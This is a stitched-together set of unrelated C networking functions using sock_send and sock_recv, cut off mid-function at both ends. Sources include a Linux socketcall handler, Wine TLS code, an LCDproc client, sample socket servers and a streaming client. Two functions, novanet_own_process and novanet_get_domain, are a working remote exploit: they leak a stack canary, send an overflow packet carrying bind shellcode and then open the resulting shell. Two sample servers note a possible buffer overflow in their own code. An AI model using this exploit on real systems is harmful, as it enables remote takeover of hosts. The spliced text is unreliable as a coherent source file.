get_fs_long(args+2), get_fs_long(args+3))); case SYS_SENDTO: er=verify_area(VERIFY_READ, args, 6 * sizeof(unsigned long)); if(er) return er; return(sock_sendto(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3), (struct sockaddr *)get_fs_long(args+4), get_fs_long(args+5))); case SYS_RECV: er=verify_area(VERIFY_READ, args, 4 * sizeof(unsigned long)); if(er) return er; return(sock_recv(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3))); case SYS_RECVFROM: er=verify_area(VERIFY_READ, args, 6 * sizeof(unsigned long)); if(er) return er; return(sock_recvfrom(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3), (struct sockaddr *)get_fs_long(args+4), (int *)get_fs_long(args+5))); case SYS_SHUTDOWN: er=verify_area(VERIFY_READ, args, 2* sizeof(unsigned long)); if(er) return er; return(sock_shutdown(get_fs_long(args+0), get_fs_long(args+1))); case SYS_SETSOCKOPT: er=verify_area(VERIFY_READ, args, 5*sizeof(unsigned long)); if(er) return er; return(sock_setsockopt(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (char *)get_fs_long(args+3), get_fs_long(args+4))); case SYS_GETSOCKOPT: er=verify_area(VERIFY_READ, args, 5*sizeof(unsigned long)); if(er) return er; return(sock_getsockopt(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (char *)get_fs_long(args+3), (int *)get_fs_long(args+4))); default: return(-EINVAL); } }
static void record(int skt) { char mode[] = { RECORD }; max_fd = skt; FD_ZERO(&open_fds); FD_SET(skt, &open_fds); while (1) { int fd, nfds; fd_set read_fds = open_fds, error_fds = open_fds; char buf[MAX_CONCUR_MSG]; if (0 > (nfds = select(max_fd+1, &read_fds, NULL, &error_fds, 0))) { if (errno == EINTR) continue; fprintf(stderr, "# concurs: select failed: %s\n", strerror(errno)); exit(1); } if (FD_ISSET(skt, &read_fds)) { --nfds; fd = sock_accept(skt); if (0 >= sock_recv(fd, buf, sizeof buf)) { fprintf(stderr, "concurs: recv new player failed: %s\n", strerror(errno)); } else { sock_send(fd, mode, sizeof(mode)); playerv[fd] = strdup(buf); printf("%s:%s\n", buf, buf); FD_SET(fd, &open_fds); if (max_fd < fd) max_fd = fd; } } for (fd = skt+1; nfds > 0; ++fd) { int endit = 0, ret; if (FD_ISSET(fd, &read_fds)) { --nfds; ret = sock_recv(fd, buf, sizeof(buf)); if (ret < 0) fprintf(stderr, "concurs: error reading %s\n", playerv[fd]); if (ret > 0) printf("%s:%.*s\n", playerv[fd], ret, buf); else endit = 1; } if (FD_ISSET(fd, &error_fds)) { --nfds; endit = 1; fprintf(stderr, "concurs: error from %s\n", playerv[fd]); } if (endit) { close(fd); FD_CLR(fd, &open_fds); free(playerv[fd]); playerv[fd] = NULL; while (max_fd > skt && !playerv[max_fd]) --max_fd; } } } }
void *doControlConnection(void *parameters) { int AddressFamily = AF_INET; //use IPv4 int TransportProtocol = SOCK_STREAM; //use TCP char ErrBuf[1024]; char DataBuffer[1024]; int ChildSocket; // keeps the socket ID for connections from clients struct addrinfo Hints; // temporary struct to keep settings needed to open the new socket struct addrinfo *AddrInfo; // keeps the addrinfo chain; required to open a new socket struct sockaddr_storage From; // temp variable that keeps the parameters of the incoming connection int ReadBytes, WrittenBytes; int ServerSocket; // Prepare to open a new server socket memset(&Hints, 0, sizeof(struct addrinfo)); Hints.ai_family= AddressFamily; Hints.ai_socktype= TransportProtocol; // Open a TCP/UDP connection Hints.ai_flags = AI_PASSIVE; // This is a server: ready to bind() a socket if (sock_initaddress (NULL, nf_params.tcp_port, &Hints, &AddrInfo, ErrBuf, sizeof(ErrBuf)) == sockFAILURE) { fprintf(logFile,"%s Error resolving given port (%s): %s\n",module_name, nf_params.tcp_port,ErrBuf); exit(EXIT_FAILURE); } if ( (ServerSocket= sock_open(AddrInfo, 1, 10, ErrBuf, sizeof(ErrBuf))) == sockFAILURE) { // AddrInfo is no longer required sock_freeaddrinfo(AddrInfo); fprintf(logFile,"%s Cannot opening the socket: %s\n",module_name, ErrBuf); exit(EXIT_FAILURE); } // AddrInfo is no longer required sock_freeaddrinfo(AddrInfo); while(1) { if ( (ChildSocket= sock_accept(ServerSocket, &From, ErrBuf, sizeof(ErrBuf))) == sockFAILURE) { fprintf(logFile,"%s Error when accepting a new connection: %s\n",module_name, ErrBuf); exit(EXIT_FAILURE); } ReadBytes= sock_recv(ChildSocket, DataBuffer, sizeof(DataBuffer), SOCK_RECEIVEALL_NO, 0/*no timeout*/, ErrBuf, sizeof(ErrBuf)); if (ReadBytes == sockFAILURE) { fprintf(logFile,"%s Error reading data: %s\n",module_name, ErrBuf); exit(EXIT_FAILURE); } // Terminate buffer, just for printing purposes // Warning: this can originate a buffer overflow DataBuffer[ReadBytes]= 0; fprintf(logFile,"%sData received (%d bytes):\n",module_name, ReadBytes); fprintf(logFile,"%s %s\n",module_name,DataBuffer); char answer[1024]; sprintf(answer,"Greeting from network function\"%s\"",nf_params.nf_name); fprintf(logFile,"%s Answer to be sent: %s\n",module_name,answer); WrittenBytes= sock_send(ChildSocket, answer, strlen(answer), ErrBuf, sizeof(ErrBuf)); if (WrittenBytes == sockFAILURE) { fprintf(logFile,"%s Error sending data: %s",module_name, ErrBuf); exit(EXIT_FAILURE); } sock_close(ChildSocket,ErrBuf,sizeof(ErrBuf)); } }
static BOOL read_ssl_chunk(netconn_t *conn, void *buf, SIZE_T buf_size, blocking_mode_t mode, SIZE_T *ret_size, BOOL *eof) { const SIZE_T ssl_buf_size = conn->ssl_sizes.cbHeader+conn->ssl_sizes.cbMaximumMessage+conn->ssl_sizes.cbTrailer; SecBuffer bufs[4]; SecBufferDesc buf_desc = {SECBUFFER_VERSION, sizeof(bufs)/sizeof(*bufs), bufs}; SSIZE_T size, buf_len = 0; blocking_mode_t tmp_mode; int i; SECURITY_STATUS res; assert(conn->extra_len < ssl_buf_size); /* BLOCKING_WAITALL is handled by caller */ if(mode == BLOCKING_WAITALL) mode = BLOCKING_ALLOW; if(conn->extra_len) { memcpy(conn->ssl_buf, conn->extra_buf, conn->extra_len); buf_len = conn->extra_len; conn->extra_len = 0; heap_free(conn->extra_buf); conn->extra_buf = NULL; } tmp_mode = buf_len ? BLOCKING_DISALLOW : mode; set_socket_blocking(conn->socket, tmp_mode); size = sock_recv(conn->socket, conn->ssl_buf+buf_len, ssl_buf_size-buf_len, tmp_mode == BLOCKING_ALLOW ? 0 : WINE_MSG_DONTWAIT); if(size < 0) { if(!buf_len) { if(errno == EAGAIN || errno == EWOULDBLOCK) { TRACE("would block\n"); return WSAEWOULDBLOCK; } WARN("recv failed\n"); return ERROR_INTERNET_CONNECTION_ABORTED; } }else { buf_len += size; } *ret_size = buf_len; if(!buf_len) { *eof = TRUE; return ERROR_SUCCESS; } *eof = FALSE; do { memset(bufs, 0, sizeof(bufs)); bufs[0].BufferType = SECBUFFER_DATA; bufs[0].cbBuffer = buf_len; bufs[0].pvBuffer = conn->ssl_buf; res = DecryptMessage(&conn->ssl_ctx, &buf_desc, 0, NULL); switch(res) { case SEC_E_OK: break; case SEC_I_CONTEXT_EXPIRED: TRACE("context expired\n"); *eof = TRUE; return ERROR_SUCCESS; case SEC_E_INCOMPLETE_MESSAGE: assert(buf_len < ssl_buf_size); set_socket_blocking(conn->socket, mode); size = sock_recv(conn->socket, conn->ssl_buf+buf_len, ssl_buf_size-buf_len, mode == BLOCKING_ALLOW ? 0 : WINE_MSG_DONTWAIT); if(size < 1) { if(size < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) { TRACE("would block\n"); /* FIXME: Optimize extra_buf usage. */ conn->extra_buf = heap_alloc(buf_len); if(!conn->extra_buf) return ERROR_NOT_ENOUGH_MEMORY; conn->extra_len = buf_len; memcpy(conn->extra_buf, conn->ssl_buf, conn->extra_len); return WSAEWOULDBLOCK; } return ERROR_INTERNET_CONNECTION_ABORTED; } buf_len += size; continue; default: WARN("failed: %08x\n", res); return ERROR_INTERNET_CONNECTION_ABORTED; } } while(res != SEC_E_OK); for(i=0; i < sizeof(bufs)/sizeof(*bufs); i++) { if(bufs[i].BufferType == SECBUFFER_DATA) { size = min(buf_size, bufs[i].cbBuffer); memcpy(buf, bufs[i].pvBuffer, size); if(size < bufs[i].cbBuffer) { assert(!conn->peek_len); conn->peek_msg_mem = conn->peek_msg = heap_alloc(bufs[i].cbBuffer - size); if(!conn->peek_msg) return ERROR_NOT_ENOUGH_MEMORY; conn->peek_len = bufs[i].cbBuffer-size; memcpy(conn->peek_msg, (char*)bufs[i].pvBuffer+size, conn->peek_len); } *ret_size = size; } } for(i=0; i < sizeof(bufs)/sizeof(*bufs); i++) { if(bufs[i].BufferType == SECBUFFER_EXTRA) { conn->extra_buf = heap_alloc(bufs[i].cbBuffer); if(!conn->extra_buf) return ERROR_NOT_ENOUGH_MEMORY; conn->extra_len = bufs[i].cbBuffer; memcpy(conn->extra_buf, bufs[i].pvBuffer, conn->extra_len); } } return ERROR_SUCCESS; }
static void novanet_own_process (char *thost, char *d_name, int esp_val) { char rbuf_pkt[NOVANET_PKT_SZ], *ptr; int canary_val, fd, n, rlen; if (novanet_read (thost, (void *) 0x016A6784, &canary_val) == 0) { fprintf (stderr, "novanet_own_process: reading canary failed\n"); exit (EXIT_FAILURE); } fd = sockami (thost, NOVANET_TCP_PORT); if (fd == -1) { fprintf (stderr, "novanet_own_process: sockami failed\n"); exit (EXIT_FAILURE); } printf ("** [nnwindtb.dll @ 0x016A6784] stack canary: 0x%08X\n\n", (int) canary_val); if (HAS_NULL (CANARY_VAL(canary_val, esp_val))) { fprintf (stderr, "novanet_own_process: canary value invalid :(\n"); exit (EXIT_FAILURE); } printf ("* connected to %s:%d\n", thost, NOVANET_TCP_PORT); memcpy (&login_buf[0x54], d_name, NOVANET_DOMAIN_SZ); printf ("** sending login packet..."); if ((n = sock_send (fd, login_buf, sizeof login_buf - 1)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** reading fourth packet..."); if ((n = sock_recv (fd, rbuf_pkt, sizeof rbuf_pkt)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_own_process: sock_recv returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); rlen = 0x10C + 64 + (sizeof win32_x86_bind - 1) + 1; *(unsigned int *) &rem_buf[12] = rlen + NOVANET_HDR_SZ; printf ("** sending remaining %d-bytes packet...", rlen); if ((n = sock_send (fd, rem_buf, sizeof rem_buf - 1)) != NOVANET_HDR_SZ) { fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n", n, NOVANET_HDR_SZ); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** sending hammer packet..."); ptr = malloc (rlen * sizeof (char)); memset (ptr, 0x41, rlen); *(unsigned int *) &ptr[0x104] = CANARY_VAL(canary_val, esp_val); *(unsigned int *) &ptr[0x108] = NTDLL_ESP; memcpy (&ptr[0x10C + 64], win32_x86_bind, sizeof win32_x86_bind - 1); ptr[rlen - 1] = '\0'; if ((n = sock_send (fd, ptr, rlen)) != rlen) { fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n", n, rlen); exit (EXIT_FAILURE); } free (ptr); printf ("done\n\n"); usleep (USLEEP_TIME); close (fd); printf ("* waiting for the shellcode to be executed...\n"); sleep (2); if ((fd = sockami (thost, PORT_SHELL)) != -1) { printf ("+Wh00t!\n\n"); shellami (fd); } }
static void novanet_get_domain (char *thost, char *d_name) { char rbuf_hdr[NOVANET_HDR_SZ], rbuf_pkt[NOVANET_PKT_SZ], *pkt_ptr; int fd, n, rlen; fd = sockami (thost, NOVANET_TCP_PORT); if (fd == -1) { fprintf (stderr, "novanet_get_domain: sockami failed\n"); exit (EXIT_FAILURE); } printf ("* connected to %s:%d\n", thost, NOVANET_TCP_PORT); printf ("** sending getdomain_buf packet..."); if ((n = sock_send (fd, getdomain_buf, sizeof getdomain_buf - 1)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_get_domain: sock_send returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** reading first reply..."); if ((n = sock_recv (fd, rbuf_pkt, sizeof rbuf_pkt)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); memcpy (d_name, &rbuf_pkt[0x54], NOVANET_DOMAIN_SZ); printf ("** remote domain address: %.*s\n", NOVANET_DOMAIN_SZ, d_name); printf ("** sending ack packet..."); if ((n = sock_send (fd, ack_buf, sizeof ack_buf - 1)) != NOVANET_HDR_SZ + 4) { fprintf (stderr, "novanet_get_domain: sock_send returned %d (!= %d)\n", n, NOVANET_HDR_SZ + 4); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** reading second reply..."); if ((n = sock_recv (fd, rbuf_hdr, sizeof rbuf_hdr)) != NOVANET_HDR_SZ) { fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n", n, NOVANET_HDR_SZ); exit (EXIT_FAILURE); } printf ("done\n"); rlen = *(unsigned int *) &rbuf_hdr[12]; if (rlen < NOVANET_HDR_SZ) { fprintf (stderr, "novanet_get_domain: remaining length invalid (<%d)\n", NOVANET_HDR_SZ); exit (EXIT_FAILURE); } rlen -= NOVANET_HDR_SZ; printf ("** reading %d-remaining bytes...", rlen); pkt_ptr = malloc (rlen * sizeof (char)); if ((n = sock_recv (fd, pkt_ptr, rlen)) != rlen) { fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n", n, rlen); exit (EXIT_FAILURE); } printf ("done\n"); free (pkt_ptr); printf ("** sending hup packet..."); if ((n = sock_send (fd, hup_buf, sizeof hup_buf - 1)) != NOVANET_HDR_SZ) { fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n", n, NOVANET_HDR_SZ); exit (EXIT_FAILURE); } printf ("done\n\n"); usleep (USLEEP_TIME); close (fd); }
int RDMASock::sock_d2c(struct sock_t *sock, unsigned int size, void *buf) { return ((sock->is_daemon) ? sock_send(sock, size, buf) : sock_recv(sock, size, buf)); }
static BOOL read_ssl_chunk(netconn_t *conn, void *buf, SIZE_T buf_size, SIZE_T *ret_size, BOOL *eof) { const SIZE_T ssl_buf_size = conn->ssl_sizes.cbHeader+conn->ssl_sizes.cbMaximumMessage+conn->ssl_sizes.cbTrailer; SecBuffer bufs[4]; SecBufferDesc buf_desc = {SECBUFFER_VERSION, sizeof(bufs)/sizeof(*bufs), bufs}; SSIZE_T size, buf_len; unsigned int i; SECURITY_STATUS res; assert(conn->extra_len < ssl_buf_size); if(conn->extra_len) { memcpy(conn->ssl_buf, conn->extra_buf, conn->extra_len); buf_len = conn->extra_len; conn->extra_len = 0; heap_free(conn->extra_buf); conn->extra_buf = NULL; } else { buf_len = sock_recv(conn->socket, conn->ssl_buf+conn->extra_len, ssl_buf_size-conn->extra_len, 0); if(buf_len < 0) { WARN("recv failed\n"); return FALSE; } if(!buf_len) { *eof = TRUE; return TRUE; } } *ret_size = 0; *eof = FALSE; do { memset(bufs, 0, sizeof(bufs)); bufs[0].BufferType = SECBUFFER_DATA; bufs[0].cbBuffer = buf_len; bufs[0].pvBuffer = conn->ssl_buf; res = DecryptMessage(&conn->ssl_ctx, &buf_desc, 0, NULL); switch(res) { case SEC_E_OK: break; case SEC_I_CONTEXT_EXPIRED: TRACE("context expired\n"); *eof = TRUE; return TRUE; case SEC_E_INCOMPLETE_MESSAGE: assert(buf_len < ssl_buf_size); size = sock_recv(conn->socket, conn->ssl_buf+buf_len, ssl_buf_size-buf_len, 0); if(size < 1) return FALSE; buf_len += size; continue; default: WARN("failed: %08x\n", res); return FALSE; } } while(res != SEC_E_OK); for(i=0; i < sizeof(bufs)/sizeof(*bufs); i++) { if(bufs[i].BufferType == SECBUFFER_DATA) { size = min(buf_size, bufs[i].cbBuffer); memcpy(buf, bufs[i].pvBuffer, size); if(size < bufs[i].cbBuffer) { assert(!conn->peek_len); conn->peek_msg_mem = conn->peek_msg = heap_alloc(bufs[i].cbBuffer - size); if(!conn->peek_msg) return FALSE; conn->peek_len = bufs[i].cbBuffer-size; memcpy(conn->peek_msg, (char*)bufs[i].pvBuffer+size, conn->peek_len); } *ret_size = size; } } for(i=0; i < sizeof(bufs)/sizeof(*bufs); i++) { if(bufs[i].BufferType == SECBUFFER_EXTRA) { conn->extra_buf = heap_alloc(bufs[i].cbBuffer); if(!conn->extra_buf) return FALSE; conn->extra_len = bufs[i].cbBuffer; memcpy(conn->extra_buf, bufs[i].pvBuffer, conn->extra_len); } } return TRUE; }
BOOL netconn_secure_connect( netconn_t *conn, WCHAR *hostname ) { SecBuffer out_buf = {0, SECBUFFER_TOKEN, NULL}, in_bufs[2] = {{0, SECBUFFER_TOKEN}, {0, SECBUFFER_EMPTY}}; SecBufferDesc out_desc = {SECBUFFER_VERSION, 1, &out_buf}, in_desc = {SECBUFFER_VERSION, 2, in_bufs}; BYTE *read_buf; SIZE_T read_buf_size = 2048; ULONG attrs = 0; CtxtHandle ctx; SSIZE_T size; const CERT_CONTEXT *cert; SECURITY_STATUS status; DWORD res = ERROR_SUCCESS; const DWORD isc_req_flags = ISC_REQ_ALLOCATE_MEMORY|ISC_REQ_USE_SESSION_KEY|ISC_REQ_CONFIDENTIALITY |ISC_REQ_SEQUENCE_DETECT|ISC_REQ_REPLAY_DETECT|ISC_REQ_MANUAL_CRED_VALIDATION; if(!ensure_cred_handle()) return FALSE; read_buf = heap_alloc(read_buf_size); if(!read_buf) return FALSE; status = InitializeSecurityContextW(&cred_handle, NULL, hostname, isc_req_flags, 0, 0, NULL, 0, &ctx, &out_desc, &attrs, NULL); assert(status != SEC_E_OK); while(status == SEC_I_CONTINUE_NEEDED || status == SEC_E_INCOMPLETE_MESSAGE) { if(out_buf.cbBuffer) { assert(status == SEC_I_CONTINUE_NEEDED); TRACE("sending %u bytes\n", out_buf.cbBuffer); size = sock_send(conn->socket, out_buf.pvBuffer, out_buf.cbBuffer, 0); if(size != out_buf.cbBuffer) { ERR("send failed\n"); res = ERROR_WINHTTP_SECURE_CHANNEL_ERROR; break; } FreeContextBuffer(out_buf.pvBuffer); out_buf.pvBuffer = NULL; out_buf.cbBuffer = 0; } if(status == SEC_I_CONTINUE_NEEDED) { assert(in_bufs[1].cbBuffer < read_buf_size); memmove(read_buf, (BYTE*)in_bufs[0].pvBuffer+in_bufs[0].cbBuffer-in_bufs[1].cbBuffer, in_bufs[1].cbBuffer); in_bufs[0].cbBuffer = in_bufs[1].cbBuffer; in_bufs[1].BufferType = SECBUFFER_EMPTY; in_bufs[1].cbBuffer = 0; in_bufs[1].pvBuffer = NULL; } assert(in_bufs[0].BufferType == SECBUFFER_TOKEN); assert(in_bufs[1].BufferType == SECBUFFER_EMPTY); if(in_bufs[0].cbBuffer + 1024 > read_buf_size) { BYTE *new_read_buf; new_read_buf = heap_realloc(read_buf, read_buf_size + 1024); if(!new_read_buf) { status = E_OUTOFMEMORY; break; } in_bufs[0].pvBuffer = read_buf = new_read_buf; read_buf_size += 1024; } size = sock_recv(conn->socket, read_buf+in_bufs[0].cbBuffer, read_buf_size-in_bufs[0].cbBuffer, 0); if(size < 1) { WARN("recv error\n"); status = ERROR_WINHTTP_SECURE_CHANNEL_ERROR; break; } TRACE("recv %lu bytes\n", size); in_bufs[0].cbBuffer += size; in_bufs[0].pvBuffer = read_buf; status = InitializeSecurityContextW(&cred_handle, &ctx, hostname, isc_req_flags, 0, 0, &in_desc, 0, NULL, &out_desc, &attrs, NULL); TRACE("InitializeSecurityContext ret %08x\n", status); if(status == SEC_E_OK) { if(in_bufs[1].BufferType == SECBUFFER_EXTRA) FIXME("SECBUFFER_EXTRA not supported\n"); status = QueryContextAttributesW(&ctx, SECPKG_ATTR_STREAM_SIZES, &conn->ssl_sizes); if(status != SEC_E_OK) { WARN("Could not get sizes\n"); break; } status = QueryContextAttributesW(&ctx, SECPKG_ATTR_REMOTE_CERT_CONTEXT, (void*)&cert); if(status == SEC_E_OK) { res = netconn_verify_cert(cert, hostname, conn->security_flags); CertFreeCertificateContext(cert); if(res != ERROR_SUCCESS) { WARN("cert verify failed: %u\n", res); break; } } else { WARN("Could not get cert\n"); break; } conn->ssl_buf = heap_alloc(conn->ssl_sizes.cbHeader + conn->ssl_sizes.cbMaximumMessage + conn->ssl_sizes.cbTrailer); if(!conn->ssl_buf) { res = GetLastError(); break; } } } heap_free(read_buf); if(status != SEC_E_OK || res != ERROR_SUCCESS) { WARN("Failed to initialize security context failed: %08x\n", status); heap_free(conn->ssl_buf); conn->ssl_buf = NULL; DeleteSecurityContext(&ctx); set_last_error(res ? res : ERROR_WINHTTP_SECURE_CHANNEL_ERROR); return FALSE; } TRACE("established SSL connection\n"); conn->secure = TRUE; conn->ssl_ctx = ctx; return TRUE; }
/** Main program loop... */ void main_loop(void) { int i = 0, j; int connected = 0; char buf[8192]; char *argv[256]; int argc, newtoken; int len; while (!Quit) { /* Check for server input... */ len = sock_recv(sock, buf, 8000); /* Handle server input... */ while (len > 0) { /* Now split the string into tokens... */ argc = 0; newtoken = 1; for (i = 0; i < len; i++) { switch (buf[i]) { case ' ': newtoken = 1; buf[i] = 0; break; default: /* regular chars, keep * tokenizing */ if (newtoken) argv[argc++] = buf + i; newtoken = 0; break; case '\0': case '\n': buf[i] = 0; if (argc > 0) { if (0 == strcmp(argv[0], "listen")) { for (j = 0; sequence[j].which; j++) { if (sequence[j].which == argv[1][0]) { sequence[j].flags |= VISIBLE; debug(RPT_DEBUG, "Listen %s", argv[1]); } } } else if (0 == strcmp(argv[0], "ignore")) { for (j = 0; sequence[j].which; j++) { if (sequence[j].which == argv[1][0]) { sequence[j].flags &= ~VISIBLE; debug(RPT_DEBUG, "Ignore %s", argv[1]); } } } else if (0 == strcmp(argv[0], "key")) { debug(RPT_DEBUG, "Key %s", argv[1]); } #ifdef LCDPROC_MENUS else if (0 == strcmp(argv[0], "menuevent")) { if (argc == 4 && (0 == strcmp(argv[1], "update"))) { set_mode(argv[2][0], "", strcmp(argv[3], "off")); } } #else else if (0 == strcmp(argv[0], "menu")) { } #endif else if (0 == strcmp(argv[0], "connect")) { int a; for (a = 1; a < argc; a++) { if (0 == strcmp(argv[a], "wid")) lcd_wid = atoi(argv[++a]); else if (0 == strcmp(argv[a], "hgt")) lcd_hgt = atoi(argv[++a]); else if (0 == strcmp(argv[a], "cellwid")) lcd_cellwid = atoi(argv[++a]); else if (0 == strcmp(argv[a], "cellhgt")) lcd_cellhgt = atoi(argv[++a]); } connected = 1; if (displayname != NULL) sock_printf(sock, "client_set -name \"%s\"\n", displayname); else sock_printf(sock, "client_set -name {LCDproc %s}\n", get_hostname()); #ifdef LCDPROC_MENUS menus_init(); #endif } else if (0 == strcmp(argv[0], "bye")) { exit_program(EXIT_SUCCESS); } else if (0 == strcmp(argv[0], "success")) { } else { /* int j; for (j = 0; j < argc; j++) printf("%s ", argv[j]); printf("\n"); */ } } /* Restart tokenizing */ argc = 0; newtoken = 1; break; } /* switch( buf[i] ) */ } len = sock_recv(sock, buf, 8000); } /* Gather stats and update screens */ if (connected) { for (i = 0; sequence[i].which > 0; i++) { sequence[i].timer++; if (!(sequence[i].flags & ACTIVE)) continue; if (sequence[i].flags & VISIBLE) { if (sequence[i].timer >= sequence[i].on_time) { sequence[i].timer = 0; /* Now, update the screen... */ update_screen(&sequence[i], 1); } } else { if (sequence[i].timer >= sequence[i].off_time) { sequence[i].timer = 0; /* Now, update the screen... */ update_screen(&sequence[i], sequence[i].show_invisible); } } if (islow > 0) usleep(islow * 10000); } } /* Now sleep... */ usleep(TIME_UNIT); } }
void Server(char *Address, char *Port, int AddressFamily, int TransportProtocol) { char ErrBuf[1024]; char DataBuffer[1024]; int ServerSocket, ChildSocket; // keeps the socket ID for this connection struct addrinfo Hints; // temporary struct to keep settings needed to open the new socket struct addrinfo *AddrInfo; // keeps the addrinfo chain; required to open a new socket struct sockaddr_storage From; // temp variable that keeps the parameters of the incoming connection int ReadBytes; // Number of bytes read from the socket char RemoteAddress[1024]; // temp variable to store the address of the connecting host char RemotePort[1024]; // temp variable to store the port used by the connecting host // Prepare to open a new server socket memset(&Hints, 0, sizeof(struct addrinfo)); Hints.ai_family= AddressFamily; Hints.ai_socktype= TransportProtocol; // Open a TCP/UDP connection Hints.ai_flags = AI_PASSIVE; // This is a server: ready to bind() a socket if (sock_initaddress (Address, Port, &Hints, &AddrInfo, ErrBuf, sizeof(ErrBuf)) == sockFAILURE) { printf("Error resolving given address/port: %s\n\n", ErrBuf); return; } printf("Server waiting on address %s, port %s, using protocol %s\n", Address ? Address : "all local addresses", Port, (AddrInfo->ai_family == AF_INET) ? "IPv4" : "IPv6"); if ( (ServerSocket= sock_open(AddrInfo, 1, 10, ErrBuf, sizeof(ErrBuf))) == sockFAILURE) { // AddrInfo is no longer required sock_freeaddrinfo(AddrInfo); printf("Cannot opening the socket: %s\n\n", ErrBuf); return; } // AddrInfo is no longer required sock_freeaddrinfo(AddrInfo); if (TransportProtocol == SOCK_STREAM) { if ( (ChildSocket= sock_accept(ServerSocket, &From, ErrBuf, sizeof(ErrBuf))) == sockFAILURE) { printf("Error when accepting a new connection: %s\n\n", ErrBuf); return; } if (sock_getascii_addrport(&From, RemoteAddress, sizeof(RemoteAddress), RemotePort, sizeof(RemotePort), NI_NUMERICHOST | NI_NUMERICSERV, ErrBuf, sizeof(ErrBuf)) == sockFAILURE) { printf("Error getting information related to the connecting host: %s\n\n", ErrBuf); return; } printf("Accepting a new connection from host %s, using remote port %s.\n\n", RemoteAddress, RemotePort); ReadBytes= sock_recv(ChildSocket, DataBuffer, sizeof(DataBuffer), SOCK_RECEIVEALL_NO, 30, ErrBuf, sizeof(ErrBuf)); if (ReadBytes == sockFAILURE) { printf("Error reading data: %s\n\n", ErrBuf); return; } } else { ReadBytes= sock_recvdgram(ServerSocket, DataBuffer, sizeof(DataBuffer), SOCK_RECEIVEALL_NO, 30, ErrBuf, sizeof(ErrBuf)); if (ReadBytes == sockFAILURE) { printf("Error reading data: %s\n\n", ErrBuf); return; } } if (ReadBytes == sockWARNING) { printf("We waited for enough time and no data has been received so far.\nAborting the connection.\n\n"); return; } // Terminate buffer, just for printing purposes // Warning: this can originate a buffer overflow DataBuffer[ReadBytes]= 0; printf("Received the following string: '%s'\n\n", DataBuffer); }
int sc_connect() { int ret; char recv_buf[100]; char send_buf[100]; stream_socket = sock_connect(cfg.srv[cfg.selected_srv]->addr, cfg.srv[cfg.selected_srv]->port+1, CONN_TIMEOUT); if(stream_socket < 0) { switch(stream_socket) { case SOCK_ERR_CREATE: print_info("\nconnect: could not create network socket", 1); ret = 2; break; case SOCK_ERR_RESOLVE: print_info("\nconnect: error resolving server address", 1); ret = 1; break; case SOCK_TIMEOUT: case SOCK_INVALID: ret = 1; break; default: ret = 2; } sc_disconnect(); return ret; } /* ret = sock_setbufsize(&stream_socket, 8192, 0); if(ret == SOCK_ERR_SET_SBUF) print_info("\nWarning: couldn't set socket SO_SNDBUF", 1); */ sock_send(&stream_socket, cfg.srv[cfg.selected_srv]->pwd, strlen(cfg.srv[cfg.selected_srv]->pwd), SEND_TIMEOUT); sock_send(&stream_socket, "\n", 1, SEND_TIMEOUT); if((ret = sock_recv(&stream_socket, recv_buf, sizeof(recv_buf)-1, RECV_TIMEOUT)) == 0) { usleep(100000); sc_disconnect(); return 1; } if( (recv_buf[0] != 'O') || (recv_buf[1] != 'K') || (ret <= 2) ) { if(strstr(recv_buf, "invalid password") != NULL) { print_info("\nconnect: invalid password!\n", 1); sc_disconnect(); return 2; } return 1; } sock_send(&stream_socket, "icy-name:", 9, SEND_TIMEOUT); if(cfg.main.num_of_icy > 0) if(cfg.icy[cfg.selected_icy]->desc != NULL) send(stream_socket, cfg.icy[cfg.selected_icy]->desc, strlen(cfg.icy[cfg.selected_icy]->desc), 0); sock_send(&stream_socket, "\n", 1, SEND_TIMEOUT); sock_send(&stream_socket, "icy-genre:", 10, SEND_TIMEOUT); if(cfg.main.num_of_icy > 0) if(cfg.icy[cfg.selected_icy]->genre != NULL) send(stream_socket, cfg.icy[cfg.selected_icy]->genre, strlen(cfg.icy[cfg.selected_icy]->genre), 0); sock_send(&stream_socket, "\n", 1, SEND_TIMEOUT); sock_send(&stream_socket, "icy-url:", 8, SEND_TIMEOUT); if(cfg.main.num_of_icy > 0) if(cfg.icy[cfg.selected_icy]->url != NULL) send(stream_socket, cfg.icy[cfg.selected_icy]->url, strlen(cfg.icy[cfg.selected_icy]->url), 0); sock_send(&stream_socket, "\n", 1, SEND_TIMEOUT); sock_send(&stream_socket, "icy-irc:", 8, SEND_TIMEOUT); if(cfg.main.num_of_icy > 0) if(cfg.icy[cfg.selected_icy]->irc != NULL) send(stream_socket, cfg.icy[cfg.selected_icy]->irc, strlen(cfg.icy[cfg.selected_icy]->irc), 0); sock_send(&stream_socket, "\n", 1, SEND_TIMEOUT); sock_send(&stream_socket, "icy-icq:", 8, SEND_TIMEOUT); if(cfg.main.num_of_icy > 0) if(cfg.icy[cfg.selected_icy]->icq != NULL) send(stream_socket, cfg.icy[cfg.selected_icy]->icq, strlen(cfg.icy[cfg.selected_icy]->icq), 0); sock_send(&stream_socket, "\n", 1, SEND_TIMEOUT); sock_send(&stream_socket, "icy-aim:", 8, SEND_TIMEOUT); if(cfg.main.num_of_icy > 0) if(cfg.icy[cfg.selected_icy]->aim != NULL) 